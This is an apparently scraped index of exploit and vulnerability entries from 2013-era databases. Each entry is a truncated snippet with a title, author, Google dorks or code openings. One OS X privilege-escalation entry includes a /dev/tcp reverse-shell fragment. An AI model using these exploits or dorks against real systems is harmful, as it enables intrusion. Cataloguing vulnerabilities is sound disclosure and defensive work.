OTRS ITSM 'Body' Field HTML Injection Vulnerability (OSA-2012-01)

OTRS Open Ticket Request System or OTRS:ITSM is prone to HTML injection vulnerability. SPDX-FileCopyrightText: 2013 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only if...

IBM AIX 6.17.1 - Local Privilege Escalation

IBM AIX 6.17.1 - Local Privilege Escalation Exploit-DB Note: Screenshot provided by exploit author !/bin/sh Exploit Title: IBM AIX 6.1 / 7.1 local root privilege escalation Date: 2013-09-24 Exploit Author: Kristian Erik Hermansen Vendor Homepage: http://www.ibm.com Software Link:...

PCMAN FTP 2.07 STOR Command - Stack Overflow Exploit (MSF)

Exploit for windows platform in category remote exploits require 'msf/core' class Metasploit3 'PCMAN FTP Server STOR Command Stack Overflow', 'Description' = %q This module exploits a buffer overflow vulnerability found in the STOR command of the PCMAN FTP v2.07 Server when the "/../" parameters...

Mac OS X 10.8.4 Local Privilege Escalation

!/usr/bin/python Original MSF Module: https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/osx/local/sudopasswordbypass.rb Exploit Title: OSX & /dev/tcp/%s/%s 0&1 &\n" % ipaddr,port...

Apple Mac OSX 10.8.4 - Local Privilege Escalation (Python)

Apple Mac OSX 10.8.4 - Local Privilege Escalation Python !/usr/bin/python Original MSF Module: https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/osx/local/sudopasswordbypass.rb Exploit Title: OSX & /dev/tcp/%s/%s 0&1 &\n" % ipaddr,port pri...

Mozilla Firefox 3.6 - Integer Overflow Exploit

This exploit leverages WOFF heap corruption due to an integer overflow in Mozilla Firefox versions 3.6, 3.6 Beta 1, 3, 4, and 5, 3.6 RC1 and RC2. include include include include / x90c WOFF 1day exploit MFSA2010-08 WOFF Heap Corruption due to Integer Overflow 1day exploit CVE-ID: CVE-2010-1028 Fu...

Integrated CMS 1.0 - SQL Injection

Integrated CMS 1.0 - SQL Injection ========================================================================================================== /Exploit Title : Integrated CMS Saudi SQL Injection \ /Exploit Author : DSST \ /Vendor Home Page : in2sol.com \ /Tested on: Windows 7,GNU/Linux,Windows...

Integrated CMS 1.0 - SQL Injection

========================================================================================================== /Exploit Title : Integrated CMS Saudi SQL Injection \ /Exploit Author : DSST \ /Vendor Home Page : in2sol.com \ /Tested on: Windows 7,GNU/Linux,Windows XP,Windows 8 \ /Google Dork:...

Integrated CMS - SQL Injection Vulnerability

Exploit for php platform in category web applications ========================================================================================================== /Exploit Title : Integrated CMS Saudi SQL Injection \ /Exploit Author : DSST \ /Vendor Home Page : in2sol.com \ /Tested on: Windows...

Agnitum Outpost Security Suite 8.1 - Local Privilege Escalation

Agnitum Outpost Security Suite 8.1 - Local Privilege Escalation Exploit Title: Agnitum Outpost security suite privilege escalation - 0Day Date: 2013-08-02 Exploit Author: Ahmad Moghimi http://mallocat.com , https://twitter.com/mall0cat Vendor Homepage: http://www.agnitum.com/ Software Link:...

HP/HPE System Management Homepage (SMH) Command Injection Vulnerability (HPSBMU02917)

HP/HPE System Management Homepage SMH is prone to a command injection vulnerability. Copyright C 2013 Greenbone Networks GmbH Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-or-later This...

CVE-2013-4759

creationtimestamp| type| source ---|---|--- 2013-07-24 00:00:00+00:00| exploited| https://www.exploit-db.com/exploits/38675...

PCMan FTP Server 2.0.7 Buffer Overflow

Exploit-DB Note: Ret needs adjustment for Windows XP SP3 English This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit web site for more information on licensing and terms of use. http://metasploit.com/ require...

WordPress Plugin wp-FileManager - Arbitrary File Download

Title: Wordpress wp-FileManager Local File Download Vulnerability Author: ByEge Download: http://wordpress.org/extend/plugins/wp-filemanager/ Test Platform: Linux Images: http://j1305.hizliresim.com/19/f/n0xxf.jpg Vuln. Plat.: Web Application Google Dorks: inurl:wp-content/plugins/wp-filemanager/...

MiniWeb HTTP Server 300 - Crash (PoC)

MiniWeb HTTP Server 300 - Crash PoC MiniWeb HTTP server build 300, built on Feb 28 2013 by Stanley Huang http://sourceforge.net/projects/miniweb/files/miniweb/0.8/miniweb-win32-20130309.zip/download Heap corruption PoC - remote DoS Tested on Win7 SP1 RUS x dmnt 2013 import socket print 'Mini Web...

Avira Personal Privilege Escalation

============================================ Tested on OS: Microsoft Windows XP Professional 5.1.2600 Service Pack 2 2600 ============================================ Vulnerable Software: Avira Personal Tested version of Avira: ============================================ Product version 10.2.0.7...

Joomla! Component dj-classifieds 2.0 - Blind SQL Injection

Joomla! Component dj-classifieds 2.0 - Blind SQL Injection $$$$$$\ $$\ $$\ $$$$$$\ $$ $$\ $$ | $$ | $$ $$\ $$ / | $$ | $$ | $$ / | $$ |$$$$\ $$$$$$$$ | $$$$$$\ $$ |$$ | $$ $$ | $$\ $$ | $$ | $$ | $$ | $$\ $$ | $$$$$$ |$$\ $$ | $$ |$$\$$$$$$ | / || ||/ Exploit Title: Joomla - DJ...

TinyMCE Ajax File Manager Remote Code Execution

/ | / \ / / \ / /\ \ / / \ | \ / \ \ | | | | /\ /\ / /|| /\ | | || \ \ / / / / / Exploit Title : timynce Ajax File Manager Remote Code Author : By onestree Software Link : http://www.phpletter.com/Demo/Tinymce-Ajax-File-Manager/ tested : windows 7 Dork : inurl:"/plugins/filemanager/" or...

Light HTTPd 0.1 (Windows) - Remote Buffer Overflow

import urllib2 from time import sleep TitleWindows Light HTTPD v0.1 HTTP GET Buffer Overflow Discovered and Reported24th of April, 2013 Discovered/Exploited ByJacob Holcomb/Gimppy042 Software Vendorhttp://sourceforge.net/projects/lhttpd/?source=navbar Exploit/Advisoryhttp://infosec42.blogspot.com...

BigAnt Server 2.97 Buffer Overflow

!/usr/bin/python Title: BigAnt Server 2.97 DDNF Username Buffer Overflow Author: Craig Freyman @cd1zz http://pwnag3.com Tested on: Windows 7 64 bit DEP/ASLR Bypass Similar Exploits: http://www.exploit-db.com/exploits/24528/ http://www.exploit-db.com/exploits/24527/...